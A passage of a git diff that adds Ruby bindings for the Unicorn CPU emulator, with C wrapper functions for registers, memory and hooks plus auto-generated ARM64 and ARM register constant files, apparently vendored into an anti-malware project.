UC_X86_REG_FP4: + case UC_X86_REG_FP5: + case UC_X86_REG_FP6: + case UC_X86_REG_FP7: + Check_Type(reg_value, T_ARRAY); + + float80.mantissa = NUM2ULL(rb_ary_entry(reg_value,0)); + float80.exponent = NUM2USHORT(rb_ary_entry(reg_value,1)); + + err = uc_reg_write(_uc, tmp_reg, &float80); + + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + + return Qnil; + } + } + if(arch == UC_ARCH_ARM64) { + // V & Q registers are the same + if(tmp_reg >= UC_ARM64_REG_V0 && tmp_reg <= UC_ARM64_REG_V31) { + tmp_reg += UC_ARM64_REG_Q0 - UC_ARM64_REG_V0; + } + if(tmp_reg >= UC_ARM64_REG_Q0 && tmp_reg <= UC_ARM64_REG_Q31) { + Check_Type(reg_value, T_ARRAY); + + uint64_t neon128_value[2]; + neon128_value[0] = NUM2ULL(rb_ary_entry(reg_value, 0)); + neon128_value[1] = NUM2ULL(rb_ary_entry(reg_value, 1)); + err = uc_reg_write(_uc, NUM2INT(reg_id), &neon128_value); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; + } + } + + tmp = NUM2ULL(reg_value); + err = uc_reg_write(_uc, NUM2INT(reg_id), &tmp); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_mem_read(VALUE self, VALUE address, VALUE size){ + size_t isize = NUM2UINT(size); + uint8_t bytes[isize]; + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + err = uc_mem_read(_uc, NUM2ULL(address), &bytes, isize); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return rb_str_new(bytes, isize); +} + +VALUE m_uc_mem_write(VALUE self, VALUE address, VALUE bytes){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + err = uc_mem_write(_uc, NUM2ULL(address), StringValuePtr(bytes), RSTRING_LEN(bytes)); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_mem_map(int argc, VALUE* argv, VALUE self){ + uc_err err; + VALUE address; + VALUE size; + VALUE perms; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + rb_scan_args(argc, argv, "21",&address, &size, &perms); + if (NIL_P(perms)) + perms = INT2NUM(UC_PROT_ALL); + + err = uc_mem_map(_uc, NUM2ULL(address), NUM2UINT(size), NUM2UINT(perms)); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_mem_unmap(VALUE self, VALUE address, VALUE size){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self, "@uch"), uc_engine, _uc); + err = uc_mem_unmap(_uc, NUM2ULL(address), NUM2UINT(size)); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_mem_protect(VALUE self, VALUE address, VALUE size, VALUE perms){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + err = uc_mem_protect(_uc, NUM2ULL(address), NUM2UINT(size), NUM2UINT(perms)); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +static void cb_hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data){ + struct hook *hook = (struct hook *)user_data; + VALUE cb; + VALUE ud; + VALUE rUc; + + cb = hook->cb; + ud = hook->ud; + rUc = hook->rUc; + rb_funcall(cb, rb_intern("call"), 4, rUc, ULL2NUM(address), UINT2NUM(size), ud); +} + +static void cb_hook_mem_access(uc_engine *uc, uint32_t access, uint64_t address, uint32_t size, int64_t value, void *user_data){ + struct hook *hook = (struct hook *)user_data; + VALUE cb; + VALUE ud; + VALUE rUc; + + cb = hook->cb; + ud = hook->ud; + rUc = hook->rUc; + rb_funcall(cb, rb_intern("call"), 6, rUc, UINT2NUM(access), ULL2NUM(address), UINT2NUM(size), LL2NUM(value), ud); +} + +static bool cb_hook_mem_invalid(uc_engine *uc, uint32_t access, uint64_t address, uint32_t size, int64_t value, void *user_data){ + struct hook *hook = (struct hook *)user_data; + VALUE cb; + VALUE ud; + VALUE rUc; + + cb = hook->cb; + ud = hook->ud; + rUc = hook->rUc; + + return RTEST(rb_funcall(cb, rb_intern("call"), 6, rUc, UINT2NUM(access), ULL2NUM(address), UINT2NUM(size), LL2NUM(value), ud)); +} + +static uint32_t cb_hook_insn_in(uc_engine *uc, uint32_t port, int size, void *user_data){ + struct hook *hook = (struct hook *)user_data; + VALUE cb; + VALUE ud; + VALUE rUc; + + cb = hook->cb; + ud = hook->ud; + rUc = hook->rUc; + return NUM2UINT(rb_funcall(cb, rb_intern("call"), 4, rUc, UINT2NUM(port), INT2NUM(size), ud)); +} + +static void cb_hook_insn_out(uc_engine *uc, uint32_t port, int size, uint32_t value, void *user_data){ + struct hook *hook = (struct hook *)user_data; + VALUE cb; + VALUE ud; + VALUE rUc; + + cb = hook->cb; + ud = hook->ud; + rUc = hook->rUc; + rb_funcall(cb, rb_intern("call"), 5, rUc, UINT2NUM(port), INT2NUM(size), UINT2NUM(value), ud); +} + +static void cb_hook_insn_syscall(uc_engine *uc, void *user_data){ + struct hook *hook = (struct hook *)user_data; + VALUE cb; + VALUE ud; + VALUE rUc; + + cb = hook->cb; + ud = hook->ud; + rUc = hook->rUc; + rb_funcall(cb, rb_intern("call"), 2, rUc, ud); +} + +static void cb_hook_intr(uc_engine *uc, uint32_t intno, void *user_data){ + struct hook *hook = (struct hook *)user_data; + VALUE cb; + VALUE ud; + VALUE rUc; + + cb = hook->cb; + ud = hook->ud; + rUc = hook->rUc; + rb_funcall(cb, rb_intern("call"), 3, rUc, ULL2NUM(intno), ud); +} + +static void mark_hook(void *p){ + struct hook *hook = (struct hook *)p; + rb_gc_mark(hook->cb); + rb_gc_mark(hook->ud); + rb_gc_mark(hook->rUc); // just for completeness sake even though this should already be marked +} + +VALUE m_uc_hook_add(int argc, VALUE* argv, VALUE self){ + VALUE hook_type; + VALUE callback; + VALUE user_data; + VALUE begin; + VALUE end; + VALUE arg1; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self, "@uch"), uc_engine, _uc); + + rb_scan_args(argc, argv, "24",&hook_type, &callback, &user_data, &begin, &end, &arg1); + if (NIL_P(begin)) + begin = ULL2NUM(1); + + if (NIL_P(end)) + end = ULL2NUM(0); + + if (NIL_P(arg1)) + arg1 = INT2NUM(0); + + uc_err err; + + if (rb_class_of(callback) != rb_cProc) + rb_raise(UcError, "Expected Proc callback"); + + struct hook *hook = (struct hook *)malloc(sizeof(struct hook)); + hook->cb = callback; + hook->ud = user_data; + hook->rUc = self; + VALUE r_hook; + VALUE hooks_list; + r_hook = Data_Wrap_Struct(Hook, mark_hook, free, hook); + hooks_list = rb_iv_get(self, "@hooks"); + rb_ary_push(hooks_list, r_hook); + + uint32_t htype = NUM2UINT(hook_type); + if(htype == UC_HOOK_INSN){ + switch(NUM2INT(arg1)){ + case UC_X86_INS_IN: + err = uc_hook_add(_uc, &hook->trace, htype, cb_hook_insn_in,(void *)hook, NUM2ULL(begin), NUM2ULL(end), NUM2INT(arg1)); + break; + case UC_X86_INS_OUT: + err = uc_hook_add(_uc, &hook->trace, htype, cb_hook_insn_out,(void *)hook, NUM2ULL(begin), NUM2ULL(end), NUM2INT(arg1)); + break; + case UC_X86_INS_SYSCALL: + case UC_X86_INS_SYSENTER: + err = uc_hook_add(_uc, &hook->trace, htype, cb_hook_insn_syscall,(void *)hook, NUM2ULL(begin), NUM2ULL(end), NUM2INT(arg1)); + break; + } + } + else if(htype == UC_HOOK_INTR){ + err = uc_hook_add(_uc, &hook->trace, htype, cb_hook_intr,(void *)hook, NUM2ULL(begin), NUM2ULL(end)); + } + else if(htype == UC_HOOK_CODE || htype == UC_HOOK_BLOCK){ + err = uc_hook_add(_uc, &hook->trace, htype, cb_hook_code,(void *)hook, NUM2ULL(begin), NUM2ULL(end)); + } + else if (htype & UC_HOOK_MEM_READ_UNMAPPED + || htype & UC_HOOK_MEM_WRITE_UNMAPPED + || htype & UC_HOOK_MEM_FETCH_UNMAPPED + || htype & UC_HOOK_MEM_READ_PROT + || htype & UC_HOOK_MEM_WRITE_PROT + || htype & UC_HOOK_MEM_FETCH_PROT + || htype & UC_HOOK_MEM_READ_INVALID + || htype & UC_HOOK_MEM_WRITE_INVALID + || htype & UC_HOOK_MEM_FETCH_INVALID + || htype & UC_HOOK_MEM_UNMAPPED + || htype & UC_HOOK_MEM_PROT + || htype & UC_HOOK_MEM_INVALID) { + err = uc_hook_add(_uc, &hook->trace, htype, cb_hook_mem_invalid,(void *)hook, NUM2ULL(begin), NUM2ULL(end)); + } + else{ + err = uc_hook_add(_uc, &hook->trace, htype, cb_hook_mem_access,(void *)hook, NUM2ULL(begin), NUM2ULL(end)); + } + + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return r_hook; +} + +VALUE m_uc_hook_del(VALUE self, VALUE hook){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + struct hook *h; + Data_Get_Struct(hook, struct hook, h); + err = uc_hook_del(_uc, h->trace); + + rb_ary_delete(rb_iv_get(self, "@hooks"), hook); + + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_query(VALUE self, VALUE query_mode){ + int qm = NUM2INT(query_mode); + size_t result; + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + err = uc_query(_uc, qm, &result); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return INT2NUM(result); +} + +VALUE m_uc_context_save(VALUE self){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + uc_context *_context; + err = uc_context_alloc(_uc, &_context); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + + err = uc_context_save(_uc, _context); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + + VALUE sc = Data_Wrap_Struct(SavedContext, 0, uc_free, _context); + return sc; +} + +VALUE m_uc_context_update(VALUE self, VALUE context){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + uc_context *_context; + Data_Get_Struct(context, uc_context, _context); + + err = uc_context_save(_uc, _context); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_context_restore(VALUE self, VALUE context){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + uc_context *_context; + Data_Get_Struct(context, uc_context, _context); + + err = uc_context_restore(_uc, _context); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.h b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.h new file mode 100644 index 0000000..a6cd09a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.h @@ -0,0 +1,36 @@ +/* + +Ruby bindings for the Unicorn Emulator Engine + +Copyright(c) 2016 Sascha Schirra + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ +VALUE m_uc_initialize(VALUE self, VALUE arch, VALUE mode); +VALUE m_uc_emu_start(int argc, VALUE* argv, VALUE self); +VALUE m_uc_emu_stop(VALUE self); +VALUE m_uc_reg_read(VALUE self, VALUE reg_id); +VALUE m_uc_reg_write(VALUE self, VALUE reg_id, VALUE reg_value); +VALUE m_uc_mem_read(VALUE self, VALUE address, VALUE size); +VALUE m_uc_mem_write(VALUE self, VALUE address, VALUE bytes); +VALUE m_uc_mem_map(int argc, VALUE* argv, VALUE self); +VALUE m_uc_mem_unmap(VALUE self, VALUE address, VALUE size); +VALUE m_uc_mem_protect(VALUE self, VALUE address, VALUE size, VALUE perms); +VALUE m_uc_hook_add(int argc, VALUE* argv, VALUE self); +VALUE m_uc_hook_del(VALUE self, VALUE hook); +VALUE m_uc_query(VALUE self, VALUE query_mode); +VALUE m_uc_context_save(VALUE self); +VALUE m_uc_context_update(VALUE self, VALUE context); +VALUE m_uc_context_restore(VALUE self, VALUE context); diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm64_const.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm64_const.rb new file mode 100644 index 0000000..4c98dd0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm64_const.rb @@ -0,0 +1,314 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm64_const.rb] + +module UnicornEngine + +# ARM64 registers + + UC_ARM64_REG_INVALID = 0 + UC_ARM64_REG_X29 = 1 + UC_ARM64_REG_X30 = 2 + UC_ARM64_REG_NZCV = 3 + UC_ARM64_REG_SP = 4 + UC_ARM64_REG_WSP = 5 + UC_ARM64_REG_WZR = 6 + UC_ARM64_REG_XZR = 7 + UC_ARM64_REG_B0 = 8 + UC_ARM64_REG_B1 = 9 + UC_ARM64_REG_B2 = 10 + UC_ARM64_REG_B3 = 11 + UC_ARM64_REG_B4 = 12 + UC_ARM64_REG_B5 = 13 + UC_ARM64_REG_B6 = 14 + UC_ARM64_REG_B7 = 15 + UC_ARM64_REG_B8 = 16 + UC_ARM64_REG_B9 = 17 + UC_ARM64_REG_B10 = 18 + UC_ARM64_REG_B11 = 19 + UC_ARM64_REG_B12 = 20 + UC_ARM64_REG_B13 = 21 + UC_ARM64_REG_B14 = 22 + UC_ARM64_REG_B15 = 23 + UC_ARM64_REG_B16 = 24 + UC_ARM64_REG_B17 = 25 + UC_ARM64_REG_B18 = 26 + UC_ARM64_REG_B19 = 27 + UC_ARM64_REG_B20 = 28 + UC_ARM64_REG_B21 = 29 + UC_ARM64_REG_B22 = 30 + UC_ARM64_REG_B23 = 31 + UC_ARM64_REG_B24 = 32 + UC_ARM64_REG_B25 = 33 + UC_ARM64_REG_B26 = 34 + UC_ARM64_REG_B27 = 35 + UC_ARM64_REG_B28 = 36 + UC_ARM64_REG_B29 = 37 + UC_ARM64_REG_B30 = 38 + UC_ARM64_REG_B31 = 39 + UC_ARM64_REG_D0 = 40 + UC_ARM64_REG_D1 = 41 + UC_ARM64_REG_D2 = 42 + UC_ARM64_REG_D3 = 43 + UC_ARM64_REG_D4 = 44 + UC_ARM64_REG_D5 = 45 + UC_ARM64_REG_D6 = 46 + UC_ARM64_REG_D7 = 47 + UC_ARM64_REG_D8 = 48 + UC_ARM64_REG_D9 = 49 + UC_ARM64_REG_D10 = 50 + UC_ARM64_REG_D11 = 51 + UC_ARM64_REG_D12 = 52 + UC_ARM64_REG_D13 = 53 + UC_ARM64_REG_D14 = 54 + UC_ARM64_REG_D15 = 55 + UC_ARM64_REG_D16 = 56 + UC_ARM64_REG_D17 = 57 + UC_ARM64_REG_D18 = 58 + UC_ARM64_REG_D19 = 59 + UC_ARM64_REG_D20 = 60 + UC_ARM64_REG_D21 = 61 + UC_ARM64_REG_D22 = 62 + UC_ARM64_REG_D23 = 63 + UC_ARM64_REG_D24 = 64 + UC_ARM64_REG_D25 = 65 + UC_ARM64_REG_D26 = 66 + UC_ARM64_REG_D27 = 67 + UC_ARM64_REG_D28 = 68 + UC_ARM64_REG_D29 = 69 + UC_ARM64_REG_D30 = 70 + UC_ARM64_REG_D31 = 71 + UC_ARM64_REG_H0 = 72 + UC_ARM64_REG_H1 = 73 + UC_ARM64_REG_H2 = 74 + UC_ARM64_REG_H3 = 75 + UC_ARM64_REG_H4 = 76 + UC_ARM64_REG_H5 = 77 + UC_ARM64_REG_H6 = 78 + UC_ARM64_REG_H7 = 79 + UC_ARM64_REG_H8 = 80 + UC_ARM64_REG_H9 = 81 + UC_ARM64_REG_H10 = 82 + UC_ARM64_REG_H11 = 83 + UC_ARM64_REG_H12 = 84 + UC_ARM64_REG_H13 = 85 + UC_ARM64_REG_H14 = 86 + UC_ARM64_REG_H15 = 87 + UC_ARM64_REG_H16 = 88 + UC_ARM64_REG_H17 = 89 + UC_ARM64_REG_H18 = 90 + UC_ARM64_REG_H19 = 91 + UC_ARM64_REG_H20 = 92 + UC_ARM64_REG_H21 = 93 + UC_ARM64_REG_H22 = 94 + UC_ARM64_REG_H23 = 95 + UC_ARM64_REG_H24 = 96 + UC_ARM64_REG_H25 = 97 + UC_ARM64_REG_H26 = 98 + UC_ARM64_REG_H27 = 99 + UC_ARM64_REG_H28 = 100 + UC_ARM64_REG_H29 = 101 + UC_ARM64_REG_H30 = 102 + UC_ARM64_REG_H31 = 103 + UC_ARM64_REG_Q0 = 104 + UC_ARM64_REG_Q1 = 105 + UC_ARM64_REG_Q2 = 106 + UC_ARM64_REG_Q3 = 107 + UC_ARM64_REG_Q4 = 108 + UC_ARM64_REG_Q5 = 109 + UC_ARM64_REG_Q6 = 110 + UC_ARM64_REG_Q7 = 111 + UC_ARM64_REG_Q8 = 112 + UC_ARM64_REG_Q9 = 113 + UC_ARM64_REG_Q10 = 114 + UC_ARM64_REG_Q11 = 115 + UC_ARM64_REG_Q12 = 116 + UC_ARM64_REG_Q13 = 117 + UC_ARM64_REG_Q14 = 118 + UC_ARM64_REG_Q15 = 119 + UC_ARM64_REG_Q16 = 120 + UC_ARM64_REG_Q17 = 121 + UC_ARM64_REG_Q18 = 122 + UC_ARM64_REG_Q19 = 123 + UC_ARM64_REG_Q20 = 124 + UC_ARM64_REG_Q21 = 125 + UC_ARM64_REG_Q22 = 126 + UC_ARM64_REG_Q23 = 127 + UC_ARM64_REG_Q24 = 128 + UC_ARM64_REG_Q25 = 129 + UC_ARM64_REG_Q26 = 130 + UC_ARM64_REG_Q27 = 131 + UC_ARM64_REG_Q28 = 132 + UC_ARM64_REG_Q29 = 133 + UC_ARM64_REG_Q30 = 134 + UC_ARM64_REG_Q31 = 135 + UC_ARM64_REG_S0 = 136 + UC_ARM64_REG_S1 = 137 + UC_ARM64_REG_S2 = 138 + UC_ARM64_REG_S3 = 139 + UC_ARM64_REG_S4 = 140 + UC_ARM64_REG_S5 = 141 + UC_ARM64_REG_S6 = 142 + UC_ARM64_REG_S7 = 143 + UC_ARM64_REG_S8 = 144 + UC_ARM64_REG_S9 = 145 + UC_ARM64_REG_S10 = 146 + UC_ARM64_REG_S11 = 147 + UC_ARM64_REG_S12 = 148 + UC_ARM64_REG_S13 = 149 + UC_ARM64_REG_S14 = 150 + UC_ARM64_REG_S15 = 151 + UC_ARM64_REG_S16 = 152 + UC_ARM64_REG_S17 = 153 + UC_ARM64_REG_S18 = 154 + UC_ARM64_REG_S19 = 155 + UC_ARM64_REG_S20 = 156 + UC_ARM64_REG_S21 = 157 + UC_ARM64_REG_S22 = 158 + UC_ARM64_REG_S23 = 159 + UC_ARM64_REG_S24 = 160 + UC_ARM64_REG_S25 = 161 + UC_ARM64_REG_S26 = 162 + UC_ARM64_REG_S27 = 163 + UC_ARM64_REG_S28 = 164 + UC_ARM64_REG_S29 = 165 + UC_ARM64_REG_S30 = 166 + UC_ARM64_REG_S31 = 167 + UC_ARM64_REG_W0 = 168 + UC_ARM64_REG_W1 = 169 + UC_ARM64_REG_W2 = 170 + UC_ARM64_REG_W3 = 171 + UC_ARM64_REG_W4 = 172 + UC_ARM64_REG_W5 = 173 + UC_ARM64_REG_W6 = 174 + UC_ARM64_REG_W7 = 175 + UC_ARM64_REG_W8 = 176 + UC_ARM64_REG_W9 = 177 + UC_ARM64_REG_W10 = 178 + UC_ARM64_REG_W11 = 179 + UC_ARM64_REG_W12 = 180 + UC_ARM64_REG_W13 = 181 + UC_ARM64_REG_W14 = 182 + UC_ARM64_REG_W15 = 183 + UC_ARM64_REG_W16 = 184 + UC_ARM64_REG_W17 = 185 + UC_ARM64_REG_W18 = 186 + UC_ARM64_REG_W19 = 187 + UC_ARM64_REG_W20 = 188 + UC_ARM64_REG_W21 = 189 + UC_ARM64_REG_W22 = 190 + UC_ARM64_REG_W23 = 191 + UC_ARM64_REG_W24 = 192 + UC_ARM64_REG_W25 = 193 + UC_ARM64_REG_W26 = 194 + UC_ARM64_REG_W27 = 195 + UC_ARM64_REG_W28 = 196 + UC_ARM64_REG_W29 = 197 + UC_ARM64_REG_W30 = 198 + UC_ARM64_REG_X0 = 199 + UC_ARM64_REG_X1 = 200 + UC_ARM64_REG_X2 = 201 + UC_ARM64_REG_X3 = 202 + UC_ARM64_REG_X4 = 203 + UC_ARM64_REG_X5 = 204 + UC_ARM64_REG_X6 = 205 + UC_ARM64_REG_X7 = 206 + UC_ARM64_REG_X8 = 207 + UC_ARM64_REG_X9 = 208 + UC_ARM64_REG_X10 = 209 + UC_ARM64_REG_X11 = 210 + UC_ARM64_REG_X12 = 211 + UC_ARM64_REG_X13 = 212 + UC_ARM64_REG_X14 = 213 + UC_ARM64_REG_X15 = 214 + UC_ARM64_REG_X16 = 215 + UC_ARM64_REG_X17 = 216 + UC_ARM64_REG_X18 = 217 + UC_ARM64_REG_X19 = 218 + UC_ARM64_REG_X20 = 219 + UC_ARM64_REG_X21 = 220 + UC_ARM64_REG_X22 = 221 + UC_ARM64_REG_X23 = 222 + UC_ARM64_REG_X24 = 223 + UC_ARM64_REG_X25 = 224 + UC_ARM64_REG_X26 = 225 + UC_ARM64_REG_X27 = 226 + UC_ARM64_REG_X28 = 227 + UC_ARM64_REG_V0 = 228 + UC_ARM64_REG_V1 = 229 + UC_ARM64_REG_V2 = 230 + UC_ARM64_REG_V3 = 231 + UC_ARM64_REG_V4 = 232 + UC_ARM64_REG_V5 = 233 + UC_ARM64_REG_V6 = 234 + UC_ARM64_REG_V7 = 235 + UC_ARM64_REG_V8 = 236 + UC_ARM64_REG_V9 = 237 + UC_ARM64_REG_V10 = 238 + UC_ARM64_REG_V11 = 239 + UC_ARM64_REG_V12 = 240 + UC_ARM64_REG_V13 = 241 + UC_ARM64_REG_V14 = 242 + UC_ARM64_REG_V15 = 243 + UC_ARM64_REG_V16 = 244 + UC_ARM64_REG_V17 = 245 + UC_ARM64_REG_V18 = 246 + UC_ARM64_REG_V19 = 247 + UC_ARM64_REG_V20 = 248 + UC_ARM64_REG_V21 = 249 + UC_ARM64_REG_V22 = 250 + UC_ARM64_REG_V23 = 251 + UC_ARM64_REG_V24 = 252 + UC_ARM64_REG_V25 = 253 + UC_ARM64_REG_V26 = 254 + UC_ARM64_REG_V27 = 255 + UC_ARM64_REG_V28 = 256 + UC_ARM64_REG_V29 = 257 + UC_ARM64_REG_V30 = 258 + UC_ARM64_REG_V31 = 259 + +# pseudo registers + UC_ARM64_REG_PC = 260 + UC_ARM64_REG_CPACR_EL1 = 261 + +# thread registers + UC_ARM64_REG_TPIDR_EL0 = 262 + UC_ARM64_REG_TPIDRRO_EL0 = 263 + UC_ARM64_REG_TPIDR_EL1 = 264 + UC_ARM64_REG_PSTATE = 265 + +# exception link registers + UC_ARM64_REG_ELR_EL0 = 266 + UC_ARM64_REG_ELR_EL1 = 267 + UC_ARM64_REG_ELR_EL2 = 268 + UC_ARM64_REG_ELR_EL3 = 269 + +# stack pointers registers + UC_ARM64_REG_SP_EL0 = 270 + UC_ARM64_REG_SP_EL1 = 271 + UC_ARM64_REG_SP_EL2 = 272 + UC_ARM64_REG_SP_EL3 = 273 + +# other CP15 registers + UC_ARM64_REG_TTBR0_EL1 = 274 + UC_ARM64_REG_TTBR1_EL1 = 275 + UC_ARM64_REG_ESR_EL0 = 276 + UC_ARM64_REG_ESR_EL1 = 277 + UC_ARM64_REG_ESR_EL2 = 278 + UC_ARM64_REG_ESR_EL3 = 279 + UC_ARM64_REG_FAR_EL0 = 280 + UC_ARM64_REG_FAR_EL1 = 281 + UC_ARM64_REG_FAR_EL2 = 282 + UC_ARM64_REG_FAR_EL3 = 283 + UC_ARM64_REG_PAR_EL1 = 284 + UC_ARM64_REG_MAIR_EL1 = 285 + UC_ARM64_REG_VBAR_EL0 = 286 + UC_ARM64_REG_VBAR_EL1 = 287 + UC_ARM64_REG_VBAR_EL2 = 288 + UC_ARM64_REG_VBAR_EL3 = 289 + UC_ARM64_REG_ENDING = 290 + +# alias registers + UC_ARM64_REG_IP0 = 215 + UC_ARM64_REG_IP1 = 216 + UC_ARM64_REG_FP = 1 + UC_ARM64_REG_LR = 2 +end \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm_const.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm_const.rb new file mode 100644 index 0000000..15df353 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm_const.rb @@ -0,0 +1,135 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm_const.rb] + +module UnicornEngine + +# ARM registers + + UC_ARM_REG_INVALID = 0 + UC_ARM_REG_APSR = 1 + UC_ARM_REG_APSR_NZCV = 2 + UC_ARM_REG_CPSR = 3 + UC_ARM_REG_FPEXC = 4 + UC_ARM_REG_FPINST = 5 + UC_ARM_REG_FPSCR = 6 + UC_ARM_REG_FPSCR_NZCV = 7 + UC_ARM_REG_FPSID = 8 + UC_ARM_REG_ITSTATE = 9 + UC_ARM_REG_LR = 10 + UC_ARM_REG_PC = 11 + UC_ARM_REG_SP = 12 + UC_ARM_REG_SPSR = 13 + UC_ARM_REG_D0 = 14 + UC_ARM_REG_D1 = 15 + UC_ARM_REG_D2 = 16 + UC_ARM_REG_D3 = 17 + UC_ARM_REG_D4 = 18 + UC_ARM_REG_D5 = 19 + UC_ARM_REG_D6 = 20 + UC_ARM_REG_D7 = 21 + UC_ARM_REG_D8 = 22 + UC_ARM_REG_D9 = 23 + UC_ARM_REG_D10 = 24 + UC_ARM_REG_D11 = 25 + UC_ARM_REG_D12 = 26 + UC_ARM_REG_D13 = 27 + UC_ARM_REG_D14 = 28 + UC_ARM_REG_D15 = 29 + UC_ARM_REG_D16 = 30 + UC_ARM_REG_D17 = 31 + UC_ARM_REG_D18 = 32 + UC_ARM_REG_D19 = 33 + UC_ARM_REG_D20 = 34 + UC_ARM_REG_D21 = 35 + UC_ARM_REG_D22 = 36 + UC_ARM_REG_D23 = 37 + UC_ARM_REG_D24 = 38 + UC_ARM_REG_D25 = 39 + UC_ARM_REG_D26 = 40 + UC_ARM_REG_D27 = 41 + UC_ARM_REG_D28 = 42 + UC_ARM_REG_D29 = 43 + UC_ARM_REG_D30 = 44 + UC_ARM_REG_D31 = 45 + UC_ARM_REG_FPINST2 = 46 + UC_ARM_REG_MVFR0 = 47 + UC_ARM_REG_MVFR1 = 48 + UC_ARM_REG_MVFR2 = 49 + UC_ARM_REG_Q0 = 50 + UC_ARM_REG_Q1 = 51 + UC_ARM_REG_Q2 = 52 + UC_ARM_REG_Q3 = 53 + UC_ARM_REG_Q4 = 54 + UC_ARM_REG_Q5 = 55 + UC_ARM_REG_Q6 = 56 + UC_ARM_REG_Q7 = 57 + UC_ARM_REG_Q8 = 58 + UC_ARM_REG_Q9 = 59 + UC_ARM_REG_Q10 = 60 + UC_ARM_REG_Q11 = 61 + UC_ARM_REG_Q12 = 62 + UC_ARM_REG_Q13 = 63 + UC_ARM_REG_Q14 = 64 + UC_ARM_REG_Q15 = 65 + UC_ARM_REG_R0 = 66 + UC_ARM_REG_R1 = 67 + UC_ARM_REG_R2 = 68 + UC_ARM_REG_R3 = 69 + UC_ARM_REG_R4 = 70 + UC_ARM_REG_R5 = 71 + UC_ARM_REG_R6 = 72 + UC_ARM_REG_R7 = 73 + UC_ARM_REG_R8 = 74 + UC_ARM_REG_R9 = 75 + UC_ARM_REG_R10 = 76 + UC_ARM_REG_R11 = 77 + UC_ARM_REG_R12 = 78 + UC_ARM_REG_S0 = 79 + UC_ARM_REG_S1 = 80 + UC_ARM_REG_S2 = 81 + UC_ARM_REG_S3 = 82 + UC_ARM_REG_S4 = 83 + UC_ARM_REG_S5 = 84 + UC_ARM_REG_S6 = 85 + UC_ARM_REG_S7 = 86 + UC_ARM_REG_S8 = 87 + UC_ARM_REG_S9 = 88 + UC_ARM_REG_S10 = 89 + UC_ARM_REG_S11 = 90 + UC_ARM_REG_S12 = 91 + UC_ARM_REG_S13 = 92 + UC_ARM_REG_S14 = 93 + UC_ARM_REG_S15 = 94 + UC_ARM_REG_S16 = 95 + UC_ARM_REG_S17 = 96 + UC_ARM_REG_S18 = 97 + UC_ARM_REG_S19 = 98 + UC_ARM_REG_S20 = 99 + UC_ARM_REG_S21 = 100 + UC_ARM_REG_S22 = 101 + UC_ARM_REG_S23 = 102 + UC_ARM_REG_S24 